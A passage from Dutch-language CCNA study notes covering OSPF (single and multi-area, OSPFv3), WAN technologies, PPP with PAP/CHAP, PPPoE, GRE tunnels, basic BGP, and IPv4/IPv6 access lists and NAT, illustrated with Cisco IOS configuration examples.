show ip protocols | Process-ID, router-ID, geadverteerde netwerken, buren die updates sturen, AD (110). |
show ip ospf | Ook process-ID en router-ID. |
show ip ospf interface | Details per OSPF-interface, handig om te zien of de network-statements kloppen. |
show ip ospf interface brief | Kort overzicht: interface, area, cost, state. |
show ip interface brief | Zijn alle links up/up? Een link die down is wordt niet geadverteerd. |
show ip route | Routes met een O ervoor komen van OSPF. |
OSPFv3 (IPv6)
OSPFv3 wisselt IPv6-prefixen uit en bouwt dezelfde drie tabellen. Overeenkomsten met v2: link-state, SPF, cost als metric, areas met area 0, dezelfde vijf pakkettypes, dezelfde states, dezelfde DR/BDR-verkiezing en een 32-bit router-ID die op dezelfde manier wordt bepaald.
| OSPFv2 | OSPFv3 | |
|---|---|---|
| Adverteert | IPv4-netwerken | IPv6-prefixen |
| Bronadres | IPv4-adres | IPv6 link-local-adres |
| Bestemming | Unicast buur, 224.0.0.5, 224.0.0.6 | Link-local buur, FF02::5, FF02::6 |
| Netwerken adverteren | network in routerconfiguratie | ipv6 ospf <process-id> area <area-id> op de interface |
| Unicast routing | IPv4 staat standaard aan | Staat uit: ipv6 unicast-routing |
| Authenticatie | Plain text en MD5 | IPsec |
R1(config)# ipv6 unicast-routing
R1(config)# ipv6 router ospf 10
R1(config-rtr)# router-id 1.1.1.1 ! verplicht als er geen IPv4-adres is
R1(config-rtr)# auto-cost reference-bandwidth 1000
R1(config)# interface g0/0
R1(config-if)# ipv6 address fe80::1 link-local
R1(config-if)# ipv6 ospf 10 area 0
- Link-local-adressen (FE80::/10) worden automatisch gemaakt (EUI-64 uit het MAC-adres) zodra er een IPv6-adres op de interface staat. Ze zijn verplicht voor OSPFv3; globale adressen niet. Handmatig instellen maakt beheer makkelijker.
- Router-ID wijzigen:
clear ipv6 ospf process. - Controleren:
show ipv6 ospf neighbor,show ipv6 protocols,show ipv6 ospf interface brief,show ipv6 route ospf,show ipv6 interface brief.
S3Moment 6 · Multi-area OSPF en tuning
CCNA 3 hoofdstuk 9 (multi-area OSPF) en 10 (OSPF tuning en troubleshooting), plus OSPF-authenticatie.
Wanneer is hoger beter, wanneer lager?
| Lager is beter | Hoger is beter |
|---|---|
| Spanning tree: root bridge (laagste bridge-ID) | HSRP (hoogste priority wordt active) |
| Metric van routingprotocollen (cost, hops) | OSPF DR/BDR (hoogste priority, dan hoogste router-ID) |
| Administrative distance (lager = eerder in de routingtabel) |
Waarom multi-area?
Een grote single area geeft een grote routingtabel, een grote LSDB en vaak SPF-berekeningen. Daarom ondersteunt OSPF hiërarchische routing met areas. Voordelen van multi-area:
- Kleinere routingtabellen: netwerken kunnen tussen areas worden samengevat (summarization).
- Minder link-state-update-overhead.
- Minder vaak SPF-berekeningen.
- Een storing in één area heeft geen invloed op andere areas.
Het is een tweelaagse hiërarchie: de backbone (transit) area = area 0, die snel IP-pakketten verplaatst en de andere areas verbindt; en regular (non-backbone) areas met de gebruikers en resources, meestal per functie of locatie. Al het verkeer tussen areas gaat over de backbone. Vergelijk het met een madeliefje: area 0 in het midden, de andere areas eromheen.
Soorten OSPF-routers
| Type | Definitie |
|---|---|
| Internal router | Alle interfaces in dezelfde area. |
| Backbone router | Zit in de backbone area (area 0). |
| ABR — Area Border Router | Interfaces in meerdere areas (verbindt area 0 met een andere area). |
| ASBR — Autonomous System Boundary Router | Minstens één interface naar een extern netwerk (ander protocol, statische routes, internet). |
Een router kan meerdere types tegelijk zijn (bijvoorbeeld backbone router én ABR).
LSA-types
LSA's zijn de "databaserecords" van OSPF; samen beschrijven ze de hele topologie. Elke multi-area-implementatie moet de eerste vijf ondersteunen.
| Type | Naam | Gemaakt door | Bereik | Link-state ID |
|---|---|---|---|---|
| 1 | Router LSA ("router link entry") | Elke router: zijn eigen OSPF-links | Alleen binnen de eigen area | Router-ID van de afzender |
| 2 | Network LSA ("network link entry") | De DR, alleen op multi-access/NBMA | Alleen binnen de area | Router-ID van de DR |
| 3 | Summary LSA | ABR: netwerken uit andere areas | Van area naar area (route O IA) | Netwerkadres |
| 4 | ASBR summary LSA | ABR, alleen als er een ASBR in de area is | Naar andere areas | Router-ID van de ASBR |
| 5 | AS external LSA | ASBR: externe routes | Het hele routingdomein | Extern netwerknummer |
- Type 1 = "ik ben er": alle interfaces/IP's van de router met metric; gebruikt voor de neighbor- en topologietabel in dezelfde area.
- Type 2: lijst met routers op het multi-access-segment, met adressen; bevat het IP en de router-ID van de DR.
- Type 3: de ABR verzamelt OSPF-informatie uit andere areas en geeft die met minder detail door. Summarization op de ABR is aanbevolen: heeft R1 de netwerken 10.1.0.0/24 t/m 10.255.200.0/24 (65.000 netwerken), adverteer dan één /8. Gaat "door" de areas heen, bijvoorbeeld van area 2 via area 0 naar area 51.
- Type 4 is nodig voor de next-hop-informatie bij type 5: hoe kom je bij de ASBR.
- Verder: 6 multicast OSPF, 7 NSSA (Not-So-Stubby Areas), 8 external attributes voor BGP, 9–11 opaque.
Routes in de routingtabel
| Code | Betekenis | Uit LSA |
|---|---|---|
O | Intra-area: binnen de eigen area | Type 1 en 2 |
O IA | Inter-area: uit een andere area | Type 3 |
O E1 / O E2 | Extern (buiten het OSPF-domein) | Type 5 |
Volgorde van berekenen: eerst intra-area (O), dan inter-area (O IA), dan extern (O E1/E2).
Multi-area configureren en controleren
- Er zijn geen speciale commando's. Een router wordt ABR zodra hij network-statements (v2) of interfaces (v3) in verschillende areas heeft.
R1(config)# router ospf 10
R1(config-router)# network 10.1.1.0 0.0.0.255 area 1
R1(config-router)# network 10.1.2.0 0.0.0.255 area 1
R1(config-router)# network 192.168.10.0 0.0.0.3 area 0 ! nu is R1 een ABR
Controleren: show ip ospf neighbor, show ip ospf, show ip protocols (aantal areas, router-ID, netwerken), show ip ospf interface brief (process-ID, area per interface, cost), show ip route ospf (O en O IA) en show ip ospf database (de LSDB). Voor OSPFv3 vervang je ip door ipv6.
OSPF-netwerktypes
| Type | Wat |
|---|---|
| Point-to-point | Twee routers op een gemeenschappelijke link, geen andere routers. Veel bij WAN-links. |
| Broadcast multiaccess | Meerdere routers op een Ethernet-netwerk. Ethernet-LAN's zijn het bekendste voorbeeld. |
| Nonbroadcast multiaccess (NBMA) | Meerdere routers op een netwerk zonder broadcasts, zoals Frame Relay. |
| Point-to-multipoint | Hub-and-spoke over NBMA: branches (spokes) aan een centrale site (hub). |
| Virtual links | Speciaal OSPF-netwerk om verre areas met de backbone te verbinden. |
Problemen op multi-access: veel adjacencies, en veel LSA-flooding. Aantal adjacencies zonder DR = n(n−1)/2: 4 routers → 6, 5 → 10, 10 → 45, 20 → 190, 50 → 1225. De oplossing is de DR en BDR.
DR, BDR en DROTHER
- De DR is het verzamel- en verdeelpunt voor LSA's. De BDR neemt het over als de DR stopt met hello's sturen.
- Alle andere routers zijn DROTHER. Die vormen alleen volledige adjacencies met de DR en BDR, en sturen hun LSA's naar 224.0.0.6 (alle DR-routers). De DR stuurt naar 224.0.0.5.
- In
show ip ospf neighborzie je FULL/DR, FULL/BDR, FULL/DROTHER en 2WAY/DROTHER (tussen twee DROTHERs).
Verkiezing, in deze volgorde:
- Hoogste interface priority wordt DR, de op één na hoogste BDR. Bereik 0–255, standaard 1. Priority 0 = kan nooit DR of BDR worden.
- Bij gelijke priority: hoogste router-ID.
- De verkiezing is niet pre-emptive: komt er later een router met een hogere priority bij, dan neemt die de rol niet over. Een nieuwe verkiezing komt pas als de DR uitvalt, het OSPF-proces op de DR stopt of de multi-access-interface van de DR down gaat.
- Valt de DR uit, dan wordt de BDR automatisch DR (ook als er inmiddels een "betere" router is), en volgt er een nieuwe BDR-verkiezing.
- Priority instellen:
ip ospf priority <0-255>(v3:ipv6 ospf priority). Wordt pas actief bij een nieuwe verkiezing: interfaces down/up zetten (eerst de gewenste DR) ofclear ip ospf processop alle routers. - Controleren:
show ip ospf interface.
router-id instellen, anders start OSPFv3 niet.Default route propageren
Een ASBR (edge-, entrance- of gatewayrouter) met de verbinding naar internet kan een default route aan de andere OSPF-routers doorgeven:
R2(config)# ip route 0.0.0.0 0.0.0.0 s0/0/1 ! of het next-hop-adres
R2(config)# router ospf 10
R2(config-router)# default-information originate
! IPv6
R2(config)# ipv6 route ::/0 s0/0/1
R2(config)# ipv6 router ospf 10
R2(config-rtr)# default-information originate
De andere routers zien hem als O*E2 0.0.0.0/0. Controleren met show ip route.
Hello- en dead-interval aanpassen
R1(config-if)# ip ospf hello-interval 5
R1(config-if)# ip ospf dead-interval 20
R1(config-if)# no ip ospf hello-interval ! terug naar standaard
! v3: ipv6 ospf hello-interval / ipv6 ospf dead-interval
Per interface instelbaar, en ze moeten overeenkomen met de buur, anders geen adjacency. Controleren: show ip ospf interface (standaard 10/40) en show ip ospf neighbor.
Troubleshooting
OSPF-problemen gaan meestal over neighbor adjacencies, missende routes of padselectie.
- Buurproblemen:
show ip interface brief(is de interface up?),show ip ospf neighbor,show ip ospf interface,show ip protocols. Let op: een passive-interface stopt hello's in beide richtingen, dus daarover worden routers nooit buren. - Routingtabelproblemen:
show ip route ospf,show ip protocols,show running-config | section router ospf. - Reset van de adjacencies:
clear ip ospf [process-id] process. - Voorbeeld OSPFv3: R1 krijgt het LAN van R3 niet, omdat OSPFv3 niet aanstond op de G0/0-interface van R3 (
ipv6 ospf 10 area 0vergeten). - OSPF bewaart informatie in vier datastructuren: interfacetabel, neighbor table (hello- en dead-timers), LSDB en routingtabel.
OSPF-authenticatie
- Mogelijk: plain text en MD5; bij IPv6 IPsec. In de les doen we plain (een leesbaar wachtwoord), dat je met
service password-encryptionin de config kunt versleutelen. - Authenticatie kan per interface of per area; in de les per area.
R1(config)# interface s0/0/0
R1(config-if)# ip ospf authentication-key Cisco123! ! hoofdlettergevoelig
R1(config)# router ospf 10
R1(config-router)# area 0 authentication
! nu valt de OSPF-buur weg tot de andere router hetzelfde heeft
OefenenVragen over moment 6
S4Moment 7 · WAN-concepten en point-to-point (PPP)
CCNA 4 hoofdstuk 1 en 2. Korte versie in de les: de verborgen dia's horen er ook bij.
Wat is een WAN?
- Een WAN werkt buiten het geografische bereik van een LAN en verbindt het bedrijfs-LAN met branches en thuiswerkers. Een WAN is meestal van een serviceprovider, een LAN van de organisatie zelf; je betaalt voor het gebruik.
- WAN-technologieën verschillen van een LAN op laag 1 en 2 van het OSI-model (fysieke adressering, flow control, encapsulatie). Ze gebruiken vaak een modem of access server, en zijn intern meestal "switched".
- Standaarden komen van TIA/EIA, ISO en IEEE.
- Publiek = internet (xDSL, kabel). Privé = leased lines (T1/T3, MPLS, Frame Relay, ATM, ISDN, Ethernet WAN), maar ook VPN's/tunnels over een publiek netwerk (SD-WAN).
| Topologie | Kenmerk |
|---|---|
| Point-to-point | Een circuit tussen twee eindpunten, meestal een dedicated leased line (T1/E1). Voelt als een directe fysieke link. |
| Hub-and-spoke | Meerdere sites via één hub. Eén interface op de hub voor alle spokes. Nadeel: al het verkeer gaat via de hub. |
| Full mesh | Elke site praat direct met elke andere. Nadeel: heel veel virtual circuits te beheren. |
| Dual-homed | Redundantie en load balancing, maar duurder en complexer (extra hardware). Tegenwoordig steeds vaker gebruikt. |
WAN-terminologie en -apparaten
| Term | Betekenis |
|---|---|
| CPE — Customer Premises Equipment | Apparaten en bekabeling aan de klantkant die op de carrier aansluiten. |
| DCE — Data Communications Equipment | Zet de data op de local loop; de interface naar de WAN-link (ook circuit-terminating equipment). Levert de klok. |
| DTE — Data Terminal Equipment | Klantapparaat (router) dat de data aanbiedt; sluit via de DCE aan op de local loop. |
| Demarcation point | Het punt in het gebouw dat klantapparatuur scheidt van providerapparatuur. |
| Local loop ("last mile") | De koper- of glaskabel van de CPE naar het CO. |
| CO — Central Office | Het lokale gebouw van de provider. |
| Toll network | De lange, volledig digitale glasvezellijnen binnen het providernetwerk. |
Apparaten: dialup-modem (moduleert digitaal naar analoog, legacy), access server (legacy, regelt inbellen), broadbandmodem (DSL/kabel), CSU/DSU (voor digitale leased lines: de CSU termineert het signaal en bewaakt de lijn, de DSU zet lijnframes om naar LAN-frames), router, core router/multilayer switch.
Circuit switching vs. packet switching
- Circuit switching: eerst een dedicated circuit opzetten, dan pas communiceren (zoals bellen). Voorbeelden: PSTN en ISDN.
- Packet switching: data in pakketten over een gedeeld netwerk; geen circuit nodig. Goedkoper, maar meer latency en jitter.
- Connectionless: elk pakket draagt de volledige adressering (internet).
- Connection-oriented: het netwerk bepaalt de route vooraf, elk pakket draagt alleen een identifier (Frame Relay met DLCI's).
WAN-verbindingsopties
| Techniek | Kenmerken |
|---|---|
| Leased line | Permanente point-to-point-lijn (serial link, T1/E1, T3/E3). Prijs hangt af van bandbreedte en afstand. T1 = 1,544 Mb/s. |
| Dialup | Modem over analoge telefoonlijnen, minder dan 56 kb/s. Als niets anders beschikbaar is. |
| ISDN | Circuit-switched, digitale signalen over de local loop (TDM). BRI = 2 B-kanalen van 64 kb/s + 1 D-kanaal van 16 kb/s. PRI (Noord-Amerika) = 23 B + 1 D van 64 kb/s = 1,544 Mb/s. Vaak als backup van een leased line. |
| Frame Relay | Laag-2 NBMA, tot 4 Mb/s, PVC's met DLCI's. Eén interface op de edgerouter voor meerdere virtual circuits. |
| ATM | Cellen van vast 53 bytes (5 header + 48 payload), goed voor spraak en video; ~20% meer bandbreedte nodig dan Frame Relay. |
| Ethernet WAN | Ethernet over glasvezel: 5 km (1000BASE-LX), 70 km (1000BASE-ZX). Goedkoper, makkelijk te integreren. Vervangt Frame Relay en ATM. |
| MPLS | Multiprotocol Label Switching: stuurt op korte labels in plaats van IP-adressen; kan elke payload dragen (IPv4, IPv6, Ethernet, ATM, DSL, Frame Relay). Vooral een providertechniek. |
| VSAT | Kleine satellietschotel voor een privé-WAN op afgelegen plekken; geostationaire satelliet op ~35.786 km. |
| DSL | Always-on over bestaande telefoonlijnen; DSL-modem bij de klant, DSLAM bij de provider. Populair voor thuiswerkers. |
| Kabel | Over coax van de kabel-tv; kabelmodem bij de klant, CMTS in de headend. |
| Draadloos | Municipal Wi-Fi, WiMAX (IEEE 802.16, vervangen door LTE), satellietinternet. |
| 3G/4G/LTE | Mobiel via de zendmast; LTE hoort bij 4G. |
| VPN | Versleutelde verbinding tussen privénetwerken over internet. Voordelen: kosten, security, schaalbaarheid, past bij broadband. Site-to-site (hele netwerken) of remote access (losse gebruikers). |
Providerinfrastructuur: glasvezel met SONET of SDH. DWDM (dense wavelength division multiplexing) vermenigvuldigt de bandbreedte van één vezel: meer dan 80 kanalen van elk 10 Gb/s, in beide richtingen over één vezel.
Kiezen: doel, geografisch bereik, verkeersvereisten (QoS), privé (veiligst) of publiek (flexibelst en goedkoopst), dedicated of switched, wat is lokaal beschikbaar en wat kost het.
Seriële communicatie
- Serieel: bits één voor één over één kanaal. Parallel: meerdere bits tegelijk over meerdere draden (last van clock skew).
- Bandbreedte (Noord-Amerika, T-carrier): DS0 = 64 kb/s; 24 × DS0 = DS1 (T1); 28 × DS1 = DS3 (T3). Europa gebruikt E-carrier, glasvezel OC (Optical Carrier).
HDLC
- Synchroon laag-2-protocol van ISO, met flow- en foutcontrole via acknowledgements; een flag markeert begin en einde van elk frame.
- Standaard encapsulatie op een seriële interface tussen twee Cisco-routers. Cisco HDLC heeft een extra protocol-typeveld en werkt daardoor alleen met andere Cisco-apparatuur.
- Verbind je met een niet-Cisco-router, gebruik dan PPP. Terug naar HDLC:
encapsulation hdlc. show interfaces serial 0/0/0moet "Serial0/0/0 is up, line protocol is up" en de encapsulatie tonen;show controllerslaat zien of er een kabel (bijv. V.35 DCE) aan hangt.- Andere WAN-protocollen: SLIP (vervangen door PPP), X.25/LAPB (voorloper van Frame Relay), Frame Relay, ATM.
PPP
Voor het gebruik van een WAN (internet) moet je betalen, dus authenticatie en verbruik moeten gecontroleerd kunnen worden. PPP (en PPPoE, PPPoA) biedt daarvoor:
- Authenticatie met PAP en CHAP.
- Linkkwaliteit (LQM,
ppp quality), terugbelfunctie (callback), link detection en error detection (Quality en Magic Number). - Compressie (Stacker of Predictor) en multilink.
Drie componenten: HDLC-achtige framing; LCP (Link Control Protocol) op de datalinklaag om de link op te zetten, te configureren en te testen; en NCP's (Network Control Protocols), één per netwerklaagprotocol: IPCP (IPv4, code 8021) en IPv6CP (code 8057). PPP vraagt een full-duplex circuit (dedicated of switched, synchroon of asynchroon).
PPP-frame: Flag (01111110) · Address (11111111, broadcast) · Control (00000011) · Protocol (2 bytes) · Data · FCS (meestal 16 bit; klopt die niet, dan wordt het frame stil weggegooid).
Een PPP-sessie in drie fasen:
- Link establishment: LCP opent de verbinding en onderhandelt de opties (Configure-Request; antwoord Configure-Ack, of Configure-Nak/Reject).
- Link quality determination (optioneel): LCP test of de kwaliteit goed genoeg is.
- Network layer protocol configuration: de NCP's (bijv. IPCP) configureren IPv4/IPv6. IPCP onderhandelt compressie en het IPv4-adres.
Authenticatie (optioneel) gebeurt na de LCP-linkopbouw en vóór de netwerklaagconfiguratie. LCP-frames zijn er in drie klassen: link-establishment, link-maintenance (Echo-Request/Reply, Discard-Request, Code-Reject, Protocol-Reject) en link-termination (Terminate-Request/Ack).
R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp quality 80 ! link gaat down onder 80% kwaliteit
R1(config-if)# compress predictor
! Multilink PPP: stap 1 bundel maken, stap 2 interfaces toewijzen
R1(config)# interface multilink 1
R1(config-if)# ip address 10.0.1.1 255.255.255.252
R1(config-if)# ppp multilink
R1(config-if)# ppp multilink group 1
R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp multilink
R1(config-if)# ppp multilink group 1
PAP en CHAP
| PAP | CHAP | |
|---|---|---|
| Handshake | Two-way | Three-way (challenge, response, accept/reject) |
| Wachtwoord | In plain text over de lijn | Nooit over de lijn: de response is een one-way hash (MD5) van het gedeelde geheim en de challenge |
| Wanneer | Eén keer bij de opbouw | Bij de opbouw en periodiek opnieuw |
| Veiligheid | Zwak: geen bescherming tegen playback of trial-and-error | Veiliger |
! op R1 (praat met R3)
R1(config)# hostname R1
R1(config)# username R3 password cisco
R1(config)# interface s0/0/0
R1(config-if)# encapsulation ppp
R1(config-if)# ppp authentication chap pap ! eerst CHAP, anders PAP
! bij PAP ook nog: ppp pap sent-username R1 password cisco
! op R3
R3(config)# username R1 password cisco
R3(config-if)# encapsulation ppp
R3(config-if)# ppp authentication chap pap
ppp authentication, dan wordt de eerste eerst geprobeerd.Troubleshooten: debug ppp authentication en debug ppp negotiation (debug alleen kort gebruiken, kost veel resources). In de CHAP-uitvoer betekenen de codes: 1 = Challenge, 2 = Response, 3 = Success, 4 = Failure. id is het nummer per LCP-pakket, len de lengte zonder header.
GRE-tunnel (uit de les)
! Rotterdam
interface tunnel 1
ip address 10.1.100.1 255.255.255.0
tunnel source g0/0/1
tunnel destination 145.89.181.1
! Cairo
interface tunnel 1
ip address 10.1.100.2 255.255.255.0
tunnel source s0/0/1
tunnel destination <IP van Rotterdam>
show ip route voordat je de tunnel maakt. Let ook op de MTU (GRE voegt minstens 24 bytes toe). Meer over GRE bij moment 8.S4Moment 8 · Branch connections: PPPoE, VPN, GRE, BGP en ACL's
CCNA 4 hoofdstuk 3 plus het begin van de ACL's (hoofdstuk 4). Korte versie; let op de verborgen dia's.
Broadband: kabel, DSL en draadloos
| Kabel | DSL | |
|---|---|---|
| Medium | Coax met RF-signalen; HFC-netwerk (hybrid fiber-coaxial) | Bestaande koperen telefoonlijn |
| Modems | CMTS bij de provider (headend), CM (kabelmodem) bij de klant | DSLAM bij de provider (CO), transceiver/modem bij de klant |
| Gedeeld? | Ja, shared medium: trager in drukke uren | Nee: elke gebruiker een eigen verbinding met de DSLAM |
| Beperking | Bandbreedte gedeeld met de buurt | Afstandsgevoelig: ADSL vraagt een local loop korter dan 5,46 km |
- ADSL = asymmetrisch (meer download dan upload). SDSL = symmetrisch. Spraak (POTS) en ADSL gebruiken andere frequenties op dezelfde draad.
- Draadloos: municipal Wi-Fi (mesh van access points), cellular/mobile (LTE Cat 10: 450 Mb/s down, 100 Mb/s up), satelliet (de antenne moet vrij zicht op de evenaar hebben). WiMAX is grotendeels vervangen door LTE (mobiel) en kabel/DSL (vast).
- Vergelijking: kabel gedeeld, DSL afstandsgevoelig, fiber-to-the-home vraagt glas tot in huis, mobiel heeft dekkingsproblemen, Wi-Fi-mesh is zelden beschikbaar, satelliet is duur met beperkte capaciteit.
PPPoE
ISP's gebruiken PPP over broadband: ze kunnen elke klant één publiek IPv4-adres geven en CHAP gebruiken. Maar Ethernet ondersteunt PPP niet van zichzelf. PPP over Ethernet (PPPoE) maakt een PPP-tunnel over de Ethernet-verbinding naar de ISP.
R1(config)# interface dialer 2
R1(config-if)# encapsulation ppp
R1(config-if)# ip address negotiated
R1(config-if)# mtu 1492
R1(config-if)# ppp chap hostname Fred
R1(config-if)# ppp chap password Barney
R1(config-if)# dialer pool 1
R1(config)# interface g0/1 ! naar het DSL-modem
R1(config-if)# pppoe enable
R1(config-if)# pppoe-client dial-pool-number 1
- De PPP-tunnel draait op een dialer interface; de fysieke Ethernet-interface krijgt
pppoe enableen wordt via de dialer pool gekoppeld. - MTU 1492: de PPPoE-header is 8 bytes (1500 − 8).
ip tcp adjust-msspast de MSS aan tijdens de TCP-handshake zodat sessies niet wegvallen. - Controleren:
show ip interface brief(het automatisch gekregen IP),show interface dialer(MTU, PPP),show ip route,show pppoe session. - Problemen: PPP-onderhandeling (geen antwoord, LCP niet open, authenticatie mislukt, IPCP mislukt;
debug ppp negotiation), authenticatie (CHAP-username/wachtwoord), MSS niet aangepast.
VPN's
- Een VPN is een privénetwerk via tunneling over een publiek netwerk (meestal internet). Met "VPN" bedoelen we meestal een versleutelde variant zoals IPsec. Je hebt een VPN-gateway nodig: router, firewall of Cisco ASA.
- Voordelen: kostenbesparing (goedkope broadband in plaats van leased lines), schaalbaarheid, compatibel met broadband, security (encryptie en authenticatie).
- Site-to-site: hele netwerken met elkaar (branch ↔ hoofdkantoor). Hosts sturen gewoon TCP/IP; de gateway encapsuleert en versleutelt.
- Remote access (client/server): losse gebruikers (thuiswerkers, mobiel, extranet); vaak met VPN-clientsoftware (Cisco AnyConnect).
- DMVPN (Dynamic Multipoint VPN, Cisco): bouwt veel VPN's met NHRP (databank met de publieke IP's van alle spokes), mGRE (één GRE-interface voor meerdere tunnels) en IPsec (encryptie).
GRE
- Generic Routing Encapsulation: een niet-beveiligd site-to-site VPN-tunnelprotocol, ontwikkeld door Cisco, IETF-standaard RFC 2784.
- Kan multiprotocol- en IP-multicastverkeer vervoeren (dus ook routingprotocollen zoals OSPF over de tunnel).
- Drie headers: passenger protocol (wat je vervoert, IPv4/IPv6), carrier protocol (de encapsulatie, GRE) en transport protocol (de aflevering, IP).
- In de buitenste IP-header staat protocolnummer 47. GRE is stateless en heeft geen sterke security. Overhead: minstens 24 bytes (GRE-header + tunnel-IP-header).
Vijf stappen: (1) interface tunnel <nr>, (2) IP-adres op de tunnel (meestal privé), (3) tunnel source, (4) tunnel destination, (5) optioneel tunnel mode gre ip. Source en destination verwijzen naar de adressen van de fysieke interfaces.
Controleren: show ip interface brief (tunnel up?), show interface tunnel 1, show ip ospf neighbor (adjacency over de tunnel). Problemen zijn meestal: tunneladressen niet in hetzelfde netwerk of verkeerd masker, source/destination verkeerd of down, routing niet goed.
BGP
- IGP's (OSPF, EIGRP, RIP) werken binnen één autonoom systeem (AS). Een EGP wisselt routes uit tussen AS'en, zoals ISP's. BGP is de EGP van internet, een path vector-protocol.
- Elk AS heeft een uniek 16- of 32-bit AS-nummer.
- eBGP: tussen routers in verschillende AS'en. iBGP: tussen routers in hetzelfde AS. Twee routers die BGP uitwisselen zijn BGP peers.
- Gebruik BGP als een AS verbindingen heeft met meerdere AS'en: multi-homed. Een fout in BGP kan gevolgen hebben voor het hele internet.
- Niet gebruiken bij één verbinding naar internet (single-homed) of bij beperkte kennis van BGP. In de cursus configureer je toch single-homed BGP, om te oefenen.
- Opties bij multi-homed: alleen een default route, default route plus ISP-routes, of alle internetroutes (meer dan 550.000 netwerken).
Company-A(config)# router bgp 65000 ! eigen AS
Company-A(config-router)# neighbor 209.165.201.1 remote-as 65001 ! peer + zijn AS
Company-A(config-router)# network 198.133.219.0 mask 255.255.255.0 ! eigen netwerk adverteren
Het netwerk in network hoeft niet direct verbonden te zijn (wel in de routingtabel staan). Let op: BGP gebruikt mask met een gewoon subnetmasker, geen wildcard. Controleren: show ip route, show ip bgp, show ip bgp summary. In het lab: BGP-config niet opslaan en reloaden, of alleen BGP weghalen en de IP's hergebruiken voor GRE en ACL.
ACL's: de basis
- Een ACL is een sequentiële lijst van permit- of deny-regels: ACE's (access control entries). IPv4-ACE's gebruiken wildcard masks.
- Per interface maximaal één ACL per protocol, per richting, per interface.
- Standaard ACL: filtert alleen op het bronadres. Extended ACL: filtert op protocol (IP, ICMP, TCP, UDP), bron- en bestemmingsadres, en bron- en bestemmingspoort.
- Beide kunnen genummerd of benoemd zijn.
- Aan het eind staat altijd een implicit deny die alles tegenhoudt; die zie je niet in de show-commando's.
- Plaatsing: extended ACL zo dicht mogelijk bij de bron (ongewenst verkeer niet eerst door het netwerk sturen); standaard ACL zo dicht mogelijk bij de bestemming (anders blokkeer je de bron naar overal).
R1(config)# access-list 10 remark Alleen LAN 10 mag eruit
R1(config)# access-list 10 permit 192.168.10.0 0.0.0.255
R1(config)# interface s0/0/0
R1(config-if)# ip access-group 10 out
! benoemd
R1(config)# ip access-list standard NO_ACCESS
R1(config-std-nacl)# deny host 192.168.11.10
R1(config-std-nacl)# permit any
R1(config-if)# ip access-group NO_ACCESS out
- Verwijderen: eerst
no ip access-groupop de interface, danno access-list 10. - Controleren:
show ip interface(welke ACL in welke richting) enshow access-lists(inhoud en matches). Bij standaard ACL's zet IOS host-ACE's vooraan (hashing), netwerk-ACE's blijven in de ingevoerde volgorde. - Voorbeeldplaatsing: alles van 192.168.10.0/24 naar 192.168.30.0/24 blokkeren met een standaard ACL → uitgaand op de LAN-interface van R3 (bij de bestemming). FTP en Telnet van 192.168.11.0/24 naar 192.168.30.0/24 blokkeren met een extended ACL → inkomend op de LAN-interface van R1 (bij de bron).
S5Moment 9 · ACL's, netwerksecurity en monitoring
CCNA 4 hoofdstuk 4 (ACL's) en 5 (LAN-security, SNMP, SPAN). Korte versie: let op de hidden slides.
Opdracht: ACL, routing en NAT/PAT
R1(config)# access-list 1 permit 192.168.1.0 0.0.0.255
R1(config)# access-list 1 permit 192.168.2.0 0.0.0.255 ! implicit deny houdt de rest tegen
R1(config)# ip nat inside source list 1 interface g0/0/1 overload
R1(config)# interface g0/0/0
R1(config-if)# ip nat inside
R1(config)# interface g0/0/1
R1(config-if)# ip nat outside
- NAT overload = PAT (Port Address Translation): veel interne adressen delen één publiek adres, onderscheiden op poortnummer.
- Statische NAT (een vaste koppeling intern ↔ extern) is vergelijkbaar met port forwarding.
- Elke interface krijgt
ip nat insideofip nat outside.
ACL's in het kort (dia van de docent)
- Standaard ACL (benoemd of genummerd 1–99): alleen op bron-IP(-range).
- Extended ACL (benoemd of genummerd 100–199, en 2000–2699): bron en bestemming, IP, poort, L3/L4-protocollen.
- Koppelen aan een interface met
ip access-group … in|out(in = de router in, out = de router uit). Voor VTY (Telnet/SSH):access-class. Voor IPv6:ipv6 traffic-filter. - ACL = "deny unless": implicit deny, blokkeer alles tenzij toegestaan. Die zie je niet in show-commando's; beter een expliciete deny aan het eind zetten (dan zie je ook de matches).
- Standaard ACL dicht bij de bestemming, extended dicht bij de bron.
- Standaard ACL gebruikt minder resources (o.a. RAM) maar is minder flexibel.
- IPv6-ACL's zijn altijd benoemd.
- Regels: deny en permit, remark = commentaar, extra opties zoals
established. - First match: zodra een regel matcht wordt er niet verder gekeken. De volgorde is dus essentieel.
Extended ACL's
access-list <100-199> {permit|deny|remark} <protocol> <bron> <wildcard> [operator poort] <bestemming> <wildcard> [operator poort] [established]
R1(config)# access-list 103 permit tcp 192.168.10.0 0.0.0.255 any eq 80
R1(config)# access-list 103 permit tcp 192.168.10.0 0.0.0.255 any eq 443
R1(config)# access-list 104 permit tcp any 192.168.10.0 0.0.0.255 established
R1(config)# interface g0/0
R1(config-if)# ip access-group 103 in
R1(config-if)# ip access-group 104 out
- Je kunt een poortnummer of de naam van een well-known poort gebruiken (
eq www,eq ftp); met?zie je de namen. - established laat alleen antwoorden toe op verkeer dat vanuit 192.168.10.0/24 is begonnen (TCP-segmenten met ACK of RST).
- FTP gebruikt TCP 20 en 21, dus twee ACE's (
eq ftpeneq ftp-data). Zonder minstens één permit blokkeert een ACL al het verkeer op die interface. - Benoemd:
ip access-list extended SURFING(laat 192.168.10.0/24 naar poort 80 en 443) enBROWSING(laat de antwoorden terug). - Bewerken: methode 1 = kopiëren naar een teksteditor, ACL verwijderen, aangepast terugplakken; methode 2 = sequence numbers: in
ip access-list extended <naam|nummer>een regel verwijderen (no 10) of invoegen (15 permit …). show access-liststoont extended ACE's in de ingevoerde volgorde (geen hashing zoals bij standaard ACL's).
IPv6-ACL's
- Bij IPv6 is er maar één type, vergelijkbaar met een IPv4 extended named ACL; er zijn geen genummerde. Een IPv4- en een IPv6-ACL mogen niet dezelfde naam hebben.
- Drie verschillen met IPv4:
- Toepassen met
ipv6 traffic-filter <naam> in|out. - Geen wildcard masks, maar een prefix-lengte (/64).
- Aan het eind staan twee impliciete permits voor Neighbor Discovery, vóór de impliciete deny:
permit icmp any any nd-na,permit icmp any any nd-ns,deny ipv6 any any. ND doet bij IPv6 wat ARP bij IPv4 doet.
- Toepassen met
R1(config)# ipv6 access-list NO-R3-LAN-ACCESS
R1(config-ipv6-acl)# deny ipv6 2001:db8:cafe:30::/64 any
R1(config-ipv6-acl)# permit ipv6 any any
